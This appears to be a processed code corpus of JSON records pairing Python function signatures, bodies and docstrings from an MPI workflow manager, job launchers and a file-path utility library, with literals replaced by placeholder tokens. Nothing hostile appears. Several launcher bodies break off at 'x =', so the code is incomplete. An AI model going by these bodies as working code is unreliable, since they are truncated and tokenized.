{"signature": "def start(self):", "body": "self.comm.Barrier()<EOL>logger.debug(\"<STR_LIT>\")<EOL>self._kill_event = threading.Event()<EOL>self._task_puller_thread = threading.Thread(target=self.pull_tasks,<EOL>args=(self._kill_event,))<EOL>self._result_pusher_thread = threading.Thread(target=self.push_results,<EOL>args=(self._kill_event,))<EOL>self._task_puller_thread.start()<EOL>self._result_pusher_thread.start()<EOL>start = None<EOL>result_counter = <NUM_LIT:0><EOL>task_recv_counter = <NUM_LIT:0><EOL>task_sent_counter = <NUM_LIT:0><EOL>logger.info(\"<STR_LIT>\")<EOL>while not self._kill_event.is_set():<EOL><INDENT>time.sleep(LOOP_SLOWDOWN)<EOL>timer = time.time() + <NUM_LIT><EOL>counter = min(<NUM_LIT:10>, comm.size)<EOL>while time.time() < timer:<EOL><INDENT>info = MPI.Status()<EOL>if counter > <NUM_LIT:10>:<EOL><INDENT>logger.debug(\"<STR_LIT>\")<EOL>break<EOL><DEDENT>if not self.comm.Iprobe(status=info):<EOL><INDENT>logger.debug(\"<STR_LIT>\".format(counter))<EOL>break<EOL><DEDENT>else:<EOL><INDENT>tag = info.Get_tag()<EOL>logger.info(\"<STR_LIT>\".format(tag))<EOL>counter += <NUM_LIT:1><EOL>if tag == RESULT_TAG:<EOL><INDENT>result = self.recv_result_from_workers()<EOL>self.pending_result_queue.put(result)<EOL>result_counter += <NUM_LIT:1><EOL><DEDENT>elif tag == TASK_REQUEST_TAG:<EOL><INDENT>worker_rank = self.recv_task_request_from_workers()<EOL>self.ready_worker_queue.put(worker_rank)<EOL><DEDENT>else:<EOL><INDENT>logger.error(\"<STR_LIT>\".format(tag))<EOL><DEDENT><DEDENT><DEDENT>available_worker_cnt = self.ready_worker_queue.qsize()<EOL>available_task_cnt = self.pending_task_queue.qsize()<EOL>logger.debug(\"<STR_LIT>\".format(available_worker_cnt,<EOL>available_task_cnt))<EOL>this_round = min(available_worker_cnt, available_task_cnt)<EOL>for i in range(this_round):<EOL><INDENT>worker_rank = self.ready_worker_queue.get()<EOL>task = self.pending_task_queue.get()<EOL>comm.send(task, dest=worker_rank, tag=worker_rank)<EOL>task_sent_counter += <NUM_LIT:1><EOL>logger.debug(\"<STR_LIT>\".format(worker_rank, task['<STR_LIT>']))<EOL><DEDENT>if not start:<EOL><INDENT>start = time.time()<EOL><DEDENT>logger.debug(\"<STR_LIT>\".format(<EOL>task_recv_counter, task_sent_counter, result_counter))<EOL><DEDENT>self._task_puller_thread.join()<EOL>self._result_pusher_thread.join()<EOL>self.task_incoming.close()<EOL>self.result_outgoing.close()<EOL>self.context.term()<EOL>delta = time.time() - start<EOL>logger.info(\"<STR_LIT>\".format(delta))<EOL>", "docstring": "Start the Manager process.\n\n        The worker loops on this:\n\n        1. If the last message sent was older than heartbeat period we send a heartbeat\n        2.\n\n\n        TODO: Move task receiving to a thread", "id": "f2823:c0:m7"}
{"signature": "@abstractmethod<EOL><INDENT>def __call__(self, command, tasks_per_node, nodes_per_block, walltime=None):<DEDENT>", "body": "pass<EOL>", "docstring": "Wraps the command with the Launcher calls.\n        *MUST* be implemented by the concrete child classes", "id": "f2826:c0:m0"}
{"signature": "def __call__(self, command, tasks_per_node, nodes_per_block, walltime=None):", "body": "return command<EOL>", "docstring": "Args:\n- command (string): The command string to be launched\n- task_block (string) : bash evaluated string.\n\nKWargs:\n- walltime (int) : This is not used by this launcher.", "id": "f2826:c1:m0"}
{"signature": "def __call__(self, command, tasks_per_node, nodes_per_block, walltime=None):", "body": "task_blocks = tasks_per_node * nodes_per_block<EOL>x =", "docstring": "Args:\n- command (string): The command string to be launched\n- task_block (string) : bash evaluated string.\n\nKWargs:\n- walltime (int) : This is not used by this launcher.", "id": "f2826:c2:m0"}
{"signature": "def __call__(self, command, tasks_per_node, nodes_per_block, walltime=None):", "body": "task_blocks = tasks_per_node * nodes_per_block<EOL>x =", "docstring": "Args:\n- command (string): The command string to be launched\n- task_block (string) : bash evaluated string.\n\nKWargs:\n- walltime (int) : This is not used by this launcher.", "id": "f2826:c3:m0"}
{"signature": "def __call__(self, command, tasks_per_node, nodes_per_block, walltime=None):", "body": "task_blocks = tasks_per_node * nodes_per_block<EOL>x =", "docstring": "Args:\n- command (string): The command string to be launched\n- task_block (string) : bash evaluated string.\n\nKWargs:\n- walltime (int) : This is not used by this launcher.", "id": "f2826:c4:m0"}
{"signature": "def __init__(self, overrides='<STR_LIT>'):", "body": "self.overrides = overrides<EOL>", "docstring": "Parameters\n----------\n\noverrides: str\n     This string will be passed to the srun launcher. Default: ''", "id": "f2826:c5:m0"}
{"signature": "def __call__(self, command, tasks_per_node, nodes_per_block, walltime=None):", "body": "task_blocks = tasks_per_node * nodes_per_block<EOL>x =", "docstring": "Args:\n- command (string): The command string to be launched\n- task_block (string) : bash evaluated string.\n\nKWargs:\n- walltime (int) : This is not used by this launcher.", "id": "f2826:c5:m1"}
{"signature": "def __init__(self, overrides='<STR_LIT>'):", "body": "self.overrides = overrides<EOL>", "docstring": "Parameters\n----------\n\noverrides: str\n     This string will be passed to the launcher. Default: ''", "id": "f2826:c6:m0"}
{"signature": "def __call__(self, command, tasks_per_node, nodes_per_block, walltime=None):", "body": "task_blocks = tasks_per_node * nodes_per_block<EOL>x =", "docstring": "Args:\n- command (string): The command string to be launched\n- task_block (string) : bash evaluated string.\n\nKWargs:\n- walltime (int) : This is not used by this launcher.", "id": "f2826:c6:m1"}
{"signature": "def __init__(self, overrides='<STR_LIT>'):", "body": "self.overrides = overrides<EOL>", "docstring": "Parameters\n----------\n\noverrides: str\n     This string will be passed to the aprun launcher. Default: ''", "id": "f2826:c7:m0"}
{"signature": "def __call__(self, command, tasks_per_node, nodes_per_block, walltime=None):", "body": "tasks_per_block = tasks_per_node * nodes_per_block<EOL>x =", "docstring": "Args:\n- command (string): The command string to be launched\n- tasks_per_node (int) : Workers to launch per node\n- nodes_per_block (int) : Number of nodes in a block\n\nKWargs:\n- walltime (int) : This is not used by this launcher.", "id": "f2826:c7:m1"}
{"signature": "def get_all_checkpoints(rundir=\"<STR_LIT>\"):", "body": "if(not os.path.isdir(rundir)):<EOL><INDENT>return []<EOL><DEDENT>dirs = sorted(os.listdir(rundir))<EOL>checkpoints = []<EOL>for runid in dirs:<EOL><INDENT>checkpoint = os.path.abspath('<STR_LIT>'.format(rundir, runid))<EOL>if os.path.isdir(checkpoint):<EOL><INDENT>checkpoints.append(checkpoint)<EOL><DEDENT><DEDENT>return checkpoints<EOL>", "docstring": "Finds the checkpoints from all last runs.\n\n    Note that checkpoints are incremental, and this helper will not find\n    previous checkpoints from earlier than the most recent run. It probably\n    should be made to do so.\n\n    Kwargs:\n       - rundir(str) : Path to the runinfo directory\n\n    Returns:\n       - a list suitable for the checkpointFiles parameter of DataFlowKernel\n         constructor", "id": "f2829:m1"}
{"signature": "def get_last_checkpoint(rundir=\"<STR_LIT>\"):", "body": "if not os.path.isdir(rundir):<EOL><INDENT>return []<EOL><DEDENT>dirs = sorted(os.listdir(rundir))<EOL>if len(dirs) == <NUM_LIT:0>:<EOL><INDENT>return []<EOL><DEDENT>last_runid = dirs[-<NUM_LIT:1>]<EOL>last_checkpoint = os.path.abspath('<STR_LIT>'.format(rundir, last_runid))<EOL>if(not(os.path.isdir(last_checkpoint))):<EOL><INDENT>return []<EOL><DEDENT>return [last_checkpoint]<EOL>", "docstring": "Find the checkpoint from the last run, if one exists.\n\n    Note that checkpoints are incremental, and this helper will not find\n    previous checkpoints from earlier than the most recent run. It probably\n    should be made to do so.\n\n    Kwargs:\n       - rundir(str) : Path to the runinfo directory\n\n    Returns:\n     - a list suitable for checkpointFiles parameter of DataFlowKernel\n       constructor, with 0 or 1 elements", "id": "f2829:m2"}
{"signature": "def wtime_to_minutes(time_string):", "body": "hours, mins, seconds = time_string.split('<STR_LIT::>')<EOL>total_mins = int(hours) * <NUM_LIT> + int(mins)<EOL>if total_mins < <NUM_LIT:1>:<EOL><INDENT>logger.warning(\"<STR_LIT>\".format(time_string, total_mins))<EOL><DEDENT>return total_mins<EOL>", "docstring": "wtime_to_minutes\n\n    Convert standard wallclock time string to minutes.\n\n    Args:\n        - Time_string in HH:MM:SS format\n\n    Returns:\n        (int) minutes", "id": "f2829:m6"}
{"signature": "def teardown_module(module):", "body": "p_this = Path(__file__)<EOL>to_remove_list = [<EOL>p_this.change(new_basename=\"<STR_LIT>\"),<EOL>]<EOL>for p in p_this.parent.select_by_ext(\"<STR_LIT>\"):<EOL><INDENT>to_remove_list.append(p)<EOL><DEDENT>for p in to_remove_list:<EOL><INDENT>if p.is_file():<EOL><INDENT>p.remove()<EOL><DEDENT>elif p.is_dir():<EOL><INDENT>shutil.rmtree(p.abspath)<EOL><DEDENT><DEDENT>", "docstring": "Remove temp file and dir for test.", "id": "f2867:m0"}
{"signature": "def teardown_module(module):", "body": "p_this = Path(__file__)<EOL>to_remove_list = list(p_this.parent.select_by_ext(\"<STR_LIT>\"))<EOL>for p in to_remove_list:<EOL><INDENT>if p.exists():<EOL><INDENT>p.remove()<EOL><DEDENT><DEDENT>", "docstring": "Remove temp file and dir for test.", "id": "f2875:m0"}
{"signature": "def setup_module(module):", "body": "p = Path(__file__).change(new_basename=\"<STR_LIT>\")<EOL>try:<EOL><INDENT>shutil.copytree(p.abspath, p.change(new_basename=\"<STR_LIT>\").abspath)<EOL><DEDENT>except Exception as e:<EOL><INDENT>pass<EOL><DEDENT>p = Path(__file__).change(new_basename=\"<STR_LIT>\")<EOL>with open(p.abspath, \"<STR_LIT:wb>\") as f:<EOL><INDENT>f.write(\"<STR_LIT>\".encode(\"<STR_LIT:utf-8>\"))<EOL><DEDENT>p = Path(__file__).change(new_basename=\"<STR_LIT>\")<EOL>with open(p.abspath, \"<STR_LIT:wb>\") as f:<EOL><INDENT>f.write(\"<STR_LIT>\".encode(\"<STR_LIT:utf-8>\"))<EOL><DEDENT>", "docstring": "Create temp file and dir for test.\n\n- create a new folder ``/wow``\n- create two file `/`wow/file_to_move.txt``, ``wow/file_to_copy.txt``", "id": "f2877:m0"}
{"signature": "def teardown_module(module):", "body": "p_this = Path(__file__)<EOL>to_remove_list = [<EOL>p_this.change(new_basename=\"<STR_LIT>\"),<EOL>p_this.change(new_basename=\"<STR_LIT>\"),<EOL>p_this.change(new_basename=\"<STR_LIT>\"),<EOL>p_this.change(new_basename=\"<STR_LIT>\"),<EOL>p_this.change(new_basename=\"<STR_LIT>\"),<EOL>p_this.change(new_basename=\"<STR_LIT>\"),<EOL>p_this.change(new_basename=\"<STR_LIT>\"),<EOL>]<EOL>for p in to_remove_list:<EOL><INDENT>if p.is_file():<EOL><INDENT>p.remove()<EOL><DEDENT>elif p.is_dir():<EOL><INDENT>shutil.rmtree(p.abspath)<EOL><DEDENT><DEDENT>", "docstring": "Remove temp file and dir for test.", "id": "f2877:m1"}
{"signature": "def get_text_fingerprint(text, hash_meth, encoding=\"<STR_LIT:utf-8>\"):  ", "body": "m = hash_meth()<EOL>m.update(text.encode(encoding))<EOL>return m.hexdigest()<EOL>", "docstring": "Use default hash method to return hash value of a piece of string\ndefault setting use 'utf-8' encoding.", "id": "f2879:m0"}
{"signature": "def md5file(abspath, nbytes=<NUM_LIT:0>, chunk_size=DEFAULT_CHUNK_SIZE):", "body": "return get_file_fingerprint(abspath, hashlib.md5, nbytes=nbytes, chunk_size=chunk_size)<EOL>", "docstring": "Return md5 hash value of a piece of a file\n\nEstimate processing time on:\n\n:param abspath: the absolute path to the file\n:param nbytes: only has first N bytes of the file. if 0 or None,\n  hash all file\n\nCPU = i7-4600U 2.10GHz - 2.70GHz, RAM = 8.00 GB\n1 second can process 0.25GB data\n\n- 0.59G - 2.43 sec\n- 1.3G - 5.68 sec\n- 1.9G - 7.72 sec\n- 2.5G - 10.32 sec\n- 3.9G - 16.0 sec", "id": "f2879:m2"}
{"signature": "def sha256file(abspath, nbytes=<NUM_LIT:0>, chunk_size=DEFAULT_CHUNK_SIZE):", "body": "return get_file_fingerprint(abspath, hashlib.sha256, nbytes=nbytes, chunk_size=chunk_size)<EOL>", "docstring": "Return sha256 hash value of a piece of a file\n\nEstimate processing time on:\n\n:param abspath: the absolute path to the file\n:param nbytes: only has first N bytes of the file. if 0 or None,\n  hash all file", "id": "f2879:m3"}
{"signature": "def sha512file(abspath, nbytes=<NUM_LIT:0>, chunk_size=DEFAULT_CHUNK_SIZE):", "body": "return get_file_fingerprint(abspath, hashlib.sha512, nbytes=nbytes, chunk_size=chunk_size)<EOL>", "docstring": "Return sha512 hash value of a piece of a file\n\nEstimate processing time on:\n\n:param abspath: the absolute path to the file\n:param nbytes: only has first N bytes of the file. if 0 or None,\n  hash all file", "id": "f2879:m4"}
{"signature": "def get_partial_md5(self, nbytes):", "body": "return md5file(abspath=self.abspath, nbytes=nbytes)<EOL>", "docstring": "Return md5 check sum of first n bytes of this file.", "id": "f2880:c0:m0"}
{"signature": "@property<EOL><INDENT>def md5(self):<DEDENT>", "body": "return md5file(self.abspath)<EOL>", "docstring": "Return md5 check sum of this file.", "id": "f2880:c0:m1"}
{"signature": "def get_partial_sha256(self, nbytes):", "body": "return sha256file(abspath=self.abspath, nbytes=nbytes)<EOL>", "docstring": "Return sha256 check sum of first n bytes of this file.", "id": "f2880:c0:m2"}
{"signature": "@property<EOL><INDENT>def sha256(self):<DEDENT>", "body": "return sha256file(self.abspath)<EOL>", "docstring": "Return sha256 check sum of this file.", "id": "f2880:c0:m3"}
{"signature": "def get_partial_sha512(self, nbytes):", "body": "return sha512file(abspath=self.abspath, nbytes=nbytes)<EOL>", "docstring": "Return sha512 check sum of first n bytes of this file.", "id": "f2880:c0:m4"}
{"signature": "@property<EOL><INDENT>def sha512(self):<DEDENT>", "body": "return sha512file(self.abspath)<EOL>", "docstring": "Return md5 check sum of this file.", "id": "f2880:c0:m5"}
{"signature": "def make_zip_archive(self,<EOL>dst=None,<EOL>filters=all_true,<EOL>compress=True,<EOL>overwrite=False,<EOL>makedirs=False,<EOL>verbose=False):  ", "body": "self.assert_exists()<EOL>if dst is None:<EOL><INDENT>dst = self._auto_zip_archive_dst()<EOL><DEDENT>else:<EOL><INDENT>dst = self.change(new_abspath=dst)<EOL><DEDENT>if not dst.basename.lower().endswith(\"<STR_LIT>\"):<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>if dst.exists():<EOL><INDENT>if not overwrite:<EOL><INDENT>raise IOError(\"<STR_LIT>\" % dst)<EOL><DEDENT><DEDENT>if compress:<EOL><INDENT>compression = ZIP_DEFLATED<EOL><DEDENT>else:<EOL><INDENT>compression = ZIP_STORED<EOL><DEDENT>if not dst.parent.exists():<EOL><INDENT>if makedirs:<EOL><INDENT>os.makedirs(dst.parent.abspath)<EOL><DEDENT><DEDENT>if verbose:<EOL><INDENT>msg = \"<STR_LIT>\" % self<EOL>print(msg)<EOL><DEDENT>current_dir = os.getcwd()<EOL>if self.is_dir():<EOL><INDENT>total_size = <NUM_LIT:0><EOL>selected = list()<EOL>for p in self.glob(\"<STR_LIT>\"):<EOL><INDENT>if filters(p):<EOL><INDENT>selected.append(p)<EOL>total_size += p.size<EOL><DEDENT><DEDENT>if verbose:<EOL><INDENT>msg = \"<STR_LIT>\".format(<EOL>len(selected), repr_data_size(total_size),<EOL>)<EOL>print(msg)<EOL><DEDENT>with ZipFile(dst.abspath, \"<STR_LIT:w>\", compression) as f:<EOL><INDENT>os.chdir(self.abspath)<EOL>for p in selected:<EOL><INDENT>relpath = p.relative_to(self).__str__()<EOL>f.write(relpath)<EOL><DEDENT><DEDENT><DEDENT>elif self.is_file():<EOL><INDENT>with ZipFile(dst.abspath, \"<STR_LIT:w>\", compression) as f:<EOL><INDENT>os.chdir(self.parent.abspath)<EOL>f.write(self.basename)<EOL><DEDENT><DEDENT>os.chdir(current_dir)<EOL>if verbose:<EOL><INDENT>msg = \"<STR_LIT>\".format(dst.size_in_text)<EOL>print(msg)<EOL><DEDENT>", "docstring": "Make a zip archive.\n\n:param dst: output file path. if not given, will be automatically assigned.\n:param filters: custom path filter. By default it allows any file.\n:param compress: compress or not.\n:param overwrite: overwrite exists or not.\n:param verbose: display log or not.\n:return:", "id": "f2881:c0:m1"}
{"signature": "def backup(self,<EOL>dst=None,<EOL>ignore=None,<EOL>ignore_ext=None,<EOL>ignore_pattern=None,<EOL>ignore_size_smaller_than=None,<EOL>ignore_size_larger_than=None,<EOL>case_sensitive=False):  ", "body": "def preprocess_arg(arg):  <EOL><INDENT>if arg is None:<EOL><INDENT>return []<EOL><DEDENT>if isinstance(arg, (tuple, list)):<EOL><INDENT>return list(arg)<EOL><DEDENT>else:<EOL><INDENT>return [arg, ]<EOL><DEDENT><DEDENT>self.assert_is_dir_and_exists()<EOL>ignore = preprocess_arg(ignore)<EOL>for i in ignore:<EOL><INDENT>if i.startswith(\"<STR_LIT:/>\") or i.startswith(\"<STR_LIT:\\\\>\"):<EOL><INDENT>raise ValueError<EOL><DEDENT><DEDENT>ignore_ext = preprocess_arg(ignore_ext)<EOL>for ext in ignore_ext:<EOL><INDENT>if not ext.startswith(\"<STR_LIT:.>\"):<EOL><INDENT>raise ValueError<EOL><DEDENT><DEDENT>ignore_pattern = preprocess_arg(ignore_pattern)<EOL>if case_sensitive:<EOL><INDENT>pass<EOL><DEDENT>else:<EOL><INDENT>ignore = [i.lower() for i in ignore]<EOL>ignore_ext = [i.lower() for i in ignore_ext]<EOL>ignore_pattern = [i.lower() for i in ignore_pattern]<EOL><DEDENT>def filters(p):<EOL><INDENT>relpath = p.relative_to(self).abspath<EOL>if not case_sensitive:<EOL><INDENT>relpath = relpath.lower()<EOL><DEDENT>for i in ignore:<EOL><INDENT>if relpath.startswith(i):<EOL><INDENT>return False<EOL><DEDENT><DEDENT>if case_sensitive:<EOL><INDENT>ext = p.ext<EOL><DEDENT>else:<EOL><INDENT>ext = p.ext.lower()<EOL><DEDENT>if ext in ignore_ext:<EOL><INDENT>return False<EOL><DEDENT>for pattern in ignore_pattern:<EOL><INDENT>if pattern in relpath:<EOL><INDENT>return False<EOL><DEDENT><DEDENT>if ignore_size_smaller_than:<EOL><INDENT>if p.size < ignore_size_smaller_than:<EOL><INDENT>return False<EOL><DEDENT><DEDENT>if ignore_size_larger_than:<EOL><INDENT>if p.size > ignore_size_larger_than:<EOL><INDENT>return False<EOL><DEDENT><DEDENT>return True<EOL><DEDENT>self.make_zip_archive(<EOL>dst=dst, filters=filters, compress=True, overwrite=False, verbose=True,<EOL>)<EOL>", "docstring": "Create a compressed zip archive backup for a directory.\n\n:param dst: the output file path.\n:param ignore: file or directory defined in this list will be ignored.\n:param ignore_ext: file with extensions defined in this list will be ignored.\n:param ignore_pattern: any file or directory that contains this pattern\n    will be ignored.\n:param ignore_size_smaller_than: any file size smaller than this\n    will be ignored.\n:param ignore_size_larger_than: any file size larger than this\n    will be ignored.\n\n**\u4e2d\u6587\u6587\u6863**\n\n\u4e3a\u4e00\u4e2a\u76ee\u5f55\u521b\u5efa\u4e00\u4e2a\u5907\u4efd\u538b\u7f29\u5305\u3002\u53ef\u4ee5\u901a\u8fc7\u8fc7\u6ee4\u5668\u9009\u62e9\u4f60\u8981\u5907\u4efd\u7684\u6587\u4ef6\u3002", "id": "f2881:c0:m2"}
{"signature": "@property<EOL><INDENT>def abspath(self):<DEDENT>", "body": "return self.absolute().__str__()<EOL>", "docstring": "r\"\"\"\n        Absolute path.\n\n        Example: ``C:\\User\\admin\\readme.txt`` for ``C:\\User\\admin\\readme.txt``", "id": "f2882:c0:m0"}
{"signature": "@property<EOL><INDENT>def abspath_hexstr(self):<DEDENT>", "body": "return encode_hexstr(self.abspath)<EOL>", "docstring": "Return absolute path encoded in hex string.", "id": "f2882:c0:m1"}
{"signature": "@property<EOL><INDENT>def dirpath(self):<DEDENT>", "body": "return self.parent.abspath<EOL>", "docstring": "r\"\"\"\n        Parent dir full absolute path.\n\n        Example: ``C:\\User\\admin`` for ``C:\\User\\admin\\readme.txt``", "id": "f2882:c0:m2"}
{"signature": "@property<EOL><INDENT>def dirpath_hexstr(self):<DEDENT>", "body": "return encode_hexstr(self.dirpath)<EOL>", "docstring": "Return dir full absolute path encoded in hex string.", "id": "f2882:c0:m3"}
{"signature": "@property<EOL><INDENT>def dirname(self):<DEDENT>", "body": "return self.parent.name<EOL>", "docstring": "r\"\"\"\n        Parent dir name.\n\n        Example: ``admin`` for ``C:\\User\\admin\\readme.txt``", "id": "f2882:c0:m4"}
{"signature": "@property<EOL><INDENT>def dirname_hexstr(self):<DEDENT>", "body": "return encode_hexstr(self.dirname)<EOL>", "docstring": "Parent dir name in hex string.", "id": "f2882:c0:m5"}
{"signature": "@property<EOL><INDENT>def basename(self):<DEDENT>", "body": "return self.name<EOL>", "docstring": "r\"\"\"\n        File name with extension, path is not included.\n\n        Example: ``readme.txt`` for ``C:\\User\\admin\\readme.txt``", "id": "f2882:c0:m6"}
{"signature": "@property<EOL><INDENT>def basename_hexstr(self):<DEDENT>", "body": "return encode_hexstr(self.basename)<EOL>", "docstring": "File name with extension encoded in hex string.", "id": "f2882:c0:m7"}
{"signature": "@property<EOL><INDENT>def fname(self):<DEDENT>", "body": "return self.stem<EOL>", "docstring": "r\"\"\"\n        File name without extension.\n\n        Example: ``readme`` for ``C:\\User\\admin\\readme.txt``", "id": "f2882:c0:m8"}
{"signature": "@property<EOL><INDENT>def fname_hexstr(self):<DEDENT>", "body": "return encode_hexstr(self.fname)<EOL>", "docstring": "File name encoded in hex string.", "id": "f2882:c0:m9"}
{"signature": "@property<EOL><INDENT>def ext(self):<DEDENT>", "body": "return self.suffix<EOL>", "docstring": "r\"\"\"\n        File extension. If it's a dir, then return empty str.\n\n        Example: ``.txt`` for ``C:\\User\\admin\\readme.txt``", "id": "f2882:c0:m10"}
{"signature": "@property<EOL><INDENT>def size(self):<DEDENT>", "body": "try:<EOL><INDENT>return self._stat.st_size<EOL><DEDENT>except:  <EOL><INDENT>self._stat = self.stat()<EOL>return self.size<EOL><DEDENT>", "docstring": "File size in bytes.", "id": "f2882:c0:m11"}
{"signature": "@property<EOL><INDENT>def size_in_text(self):<DEDENT>", "body": "return repr_data_size(self.size, precision=<NUM_LIT:2>)<EOL>", "docstring": "File size as human readable string.", "id": "f2882:c0:m12"}
{"signature": "@property<EOL><INDENT>def mtime(self):<DEDENT>", "body": "try:<EOL><INDENT>return self._stat.st_mtime<EOL><DEDENT>except:  <EOL><INDENT>self._stat = self.stat()<EOL>return self.mtime<EOL><DEDENT>", "docstring": "Get most recent modify time in timestamp.", "id": "f2882:c0:m13"}
{"signature": "@property<EOL><INDENT>def atime(self):<DEDENT>", "body": "try:<EOL><INDENT>return self._stat.st_atime<EOL><DEDENT>except:  <EOL><INDENT>self._stat = self.stat()<EOL>return self.atime<EOL><DEDENT>", "docstring": "Get most recent access time in timestamp.", "id": "f2882:c0:m14"}
{"signature": "@property<EOL><INDENT>def ctime(self):<DEDENT>", "body": "try:<EOL><INDENT>return self._stat.st_ctime<EOL><DEDENT>except:  <EOL><INDENT>self._stat = self.stat()<EOL>return self.ctime<EOL><DEDENT>", "docstring": "Get most recent create time in timestamp.", "id": "f2882:c0:m15"}
{"signature": "@property<EOL><INDENT>def modify_datetime(self):<DEDENT>", "body": "return datetime.fromtimestamp(self.mtime)<EOL>", "docstring": "Get most recent modify time in datetime.", "id": "f2882:c0:m16"}
{"signature": "@property<EOL><INDENT>def access_datetime(self):<DEDENT>", "body": "return datetime.fromtimestamp(self.atime)<EOL>", "docstring": "Get most recent access time in datetime.", "id": "f2882:c0:m17"}
{"signature": "@property<EOL><INDENT>def create_datetime(self):<DEDENT>", "body": "return datetime.fromtimestamp(self.ctime)<EOL>", "docstring": "Get most recent create time in datetime.", "id": "f2882:c0:m18"}
{"signature": "def join_parsed_parts(self, drv, root, parts, drv2, root2, parts2):", "body": "if root2:<EOL><INDENT>if not drv2 and drv:<EOL><INDENT>return drv, root2, [drv + root2] + parts2[<NUM_LIT:1>:]<EOL><DEDENT><DEDENT>elif drv2:<EOL><INDENT>if drv2 == drv or self.casefold(drv2) == self.casefold(drv):<EOL><INDENT>return drv, root, parts + parts2[<NUM_LIT:1>:]<EOL><DEDENT><DEDENT>else:<EOL><INDENT>return drv, root, parts + parts2<EOL><DEDENT>return drv2, root2, parts2<EOL>", "docstring": "Join the two paths represented by the respective\n(drive, root, parts) tuples.  Return a new (drive, root, parts) tuple.", "id": "f2883:c0:m2"}
{"signature": "def select_from(self, parent_path):", "body": "path_cls = type(parent_path)<EOL>is_dir = path_cls.is_dir<EOL>exists = path_cls.exists<EOL>scandir = parent_path._accessor.scandir<EOL>if not is_dir(parent_path):<EOL><INDENT>return iter([])<EOL><DEDENT>return self._select_from(parent_path, is_dir, exists, scandir)<EOL>", "docstring": "Iterate over all child paths of `parent_path` matched by this\n        selector.  This can contain parent_path itself.", "id": "f2883:c5:m1"}
{"signature": "def __new__(cls, *args):", "body": "if cls is PurePath:<EOL><INDENT>cls = PureWindowsPath if os.name == '<STR_LIT>' else PurePosixPath<EOL><DEDENT>return cls._from_parts(args)<EOL>", "docstring": "Construct a PurePath from one or several strings and or existing\n        PurePath objects.  The strings and path objects are combined so as\n        to yield a canonicalized path, which is incorporated into the\n        new PurePath object.", "id": "f2883:c11:m0"}
{"signature": "def __str__(self):", "body": "try:<EOL><INDENT>return self._str<EOL><DEDENT>except AttributeError:<EOL><INDENT>self._str = self._format_parsed_parts(self._drv, self._root,<EOL>self._parts) or '<STR_LIT:.>'<EOL>return self._str<EOL><DEDENT>", "docstring": "Return the string representation of the path, suitable for\n        passing to system calls.", "id": "f2883:c11:m8"}
{"signature": "def as_posix(self):", "body": "f = self._flavour<EOL>return str(self).replace(f.sep, '<STR_LIT:/>')<EOL>", "docstring": "Return the string representation of the path with forward (/)\n        slashes.", "id": "f2883:c11:m10"}
{"signature": "def __bytes__(self):", "body": "if sys.version_info < (<NUM_LIT:3>, <NUM_LIT:2>):<EOL><INDENT>raise NotImplementedError(\"<STR_LIT>\")<EOL><DEDENT>return os.fsencode(str(self))<EOL>", "docstring": "Return the bytes representation of the path.  This is only\n        recommended to use under Unix.", "id": "f2883:c11:m11"}
{"signature": "def as_uri(self):", "body": "if not self.is_absolute():<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>return self._flavour.make_uri(self)<EOL>", "docstring": "Return the path as a 'file' URI.", "id": "f2883:c11:m13"}
{"signature": "@property<EOL><INDENT>def anchor(self):<DEDENT>", "body": "anchor = self._drv + self._root<EOL>return anchor<EOL>", "docstring": "The concatenation of the drive and root, or ''.", "id": "f2883:c11:m22"}
{"signature": "@property<EOL><INDENT>def name(self):<DEDENT>", "body": "parts = self._parts<EOL>if len(parts) == (<NUM_LIT:1> if (self._drv or self._root) else <NUM_LIT:0>):<EOL><INDENT>return '<STR_LIT>'<EOL><DEDENT>return parts[-<NUM_LIT:1>]<EOL>", "docstring": "The final path component, if any.", "id": "f2883:c11:m23"}
{"signature": "@property<EOL><INDENT>def suffix(self):<DEDENT>", "body": "name = self.name<EOL>i = name.rfind('<STR_LIT:.>')<EOL>if <NUM_LIT:0> < i < len(name) - <NUM_LIT:1>:<EOL><INDENT>return name[i:]<EOL><DEDENT>else:<EOL><INDENT>return '<STR_LIT>'<EOL><DEDENT>", "docstring": "The final component's last suffix, if any.", "id": "f2883:c11:m24"}
{"signature": "@property<EOL><INDENT>def suffixes(self):<DEDENT>", "body": "name = self.name<EOL>if name.endswith('<STR_LIT:.>'):<EOL><INDENT>return []<EOL><DEDENT>name = name.lstrip('<STR_LIT:.>')<EOL>return ['<STR_LIT:.>' + suffix for suffix in name.split('<STR_LIT:.>')[<NUM_LIT:1>:]]<EOL>", "docstring": "A list of the final component's suffixes, if any.", "id": "f2883:c11:m25"}
{"signature": "@property<EOL><INDENT>def stem(self):<DEDENT>", "body": "name = self.name<EOL>i = name.rfind('<STR_LIT:.>')<EOL>if <NUM_LIT:0> < i < len(name) - <NUM_LIT:1>:<EOL><INDENT>return name[:i]<EOL><DEDENT>else:<EOL><INDENT>return name<EOL><DEDENT>", "docstring": "The final path component, minus its last suffix.", "id": "f2883:c11:m26"}
{"signature": "def with_name(self, name):", "body": "if not self.name:<EOL><INDENT>raise ValueError(\"<STR_LIT>\" % (self,))<EOL><DEDENT>drv, root, parts = self._flavour.parse_parts((name,))<EOL>if (not name or name[-<NUM_LIT:1>] in [self._flavour.sep, self._flavour.altsep]<EOL>or drv or root or len(parts) != <NUM_LIT:1>):<EOL><INDENT>raise ValueError(\"<STR_LIT>\" % (name))<EOL><DEDENT>return self._from_parsed_parts(self._drv, self._root,<EOL>self._parts[:-<NUM_LIT:1>] + [name])<EOL>", "docstring": "Return a new path with the file name changed.", "id": "f2883:c11:m27"}
{"signature": "def with_suffix(self, suffix):", "body": "<EOL>f = self._flavour<EOL>if f.sep in suffix or f.altsep and f.altsep in suffix:<EOL><INDENT>raise ValueError(\"<STR_LIT>\" % (suffix))<EOL><DEDENT>if suffix and not suffix.startswith('<STR_LIT:.>') or suffix == '<STR_LIT:.>':<EOL><INDENT>raise ValueError(\"<STR_LIT>\" % (suffix))<EOL><DEDENT>name = self.name<EOL>if not name:<EOL><INDENT>raise ValueError(\"<STR_LIT>\" % (self,))<EOL><DEDENT>old_suffix = self.suffix<EOL>if not old_suffix:<EOL><INDENT>name = name + suffix<EOL><DEDENT>else:<EOL><INDENT>name = name[:-len(old_suffix)] + suffix<EOL><DEDENT>return self._from_parsed_parts(self._drv, self._root,<EOL>self._parts[:-<NUM_LIT:1>] + [name])<EOL>", "docstring": "Return a new path with the file suffix changed (or added, if\n        none).", "id": "f2883:c11:m28"}
